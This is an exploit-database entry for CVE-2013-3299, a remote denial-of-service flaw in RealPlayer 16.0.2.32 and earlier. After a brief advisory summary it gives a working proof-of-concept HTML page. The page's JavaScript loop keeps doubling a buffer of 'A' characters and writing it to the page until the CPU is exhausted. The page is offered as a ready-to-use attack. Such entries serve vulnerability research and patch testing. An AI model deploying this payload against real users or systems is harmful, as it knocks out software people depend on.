RealNetworks RealPlayer - Denial of Service

EKU-ID: 43005	CVE: CVE-2013-3299;OSVDB-94806	OSVDB-ID:
Author: Akshaysinh Vaghela	Published: 2013-07-02	Verified:
Download:

Rating

☆☆☆☆☆

source: https://www.securityfocus.com/bid/60903/info

RealNetworks RealPlayer is prone to a remote denial-of-service vulnerability.

Successful exploits will allow attackers to consume an excessive amount of CPU resources, denying service to legitimate users.

RealPlayer 16.0.2.32 and prior are vulnerable.

<html> <head> <script language="JavaScript"> { var buffer = '\x41' for(i=0; i <= 100 ; ++i) { buffer+=buffer+buffer document.write(buffer); } } </script> </head> </html>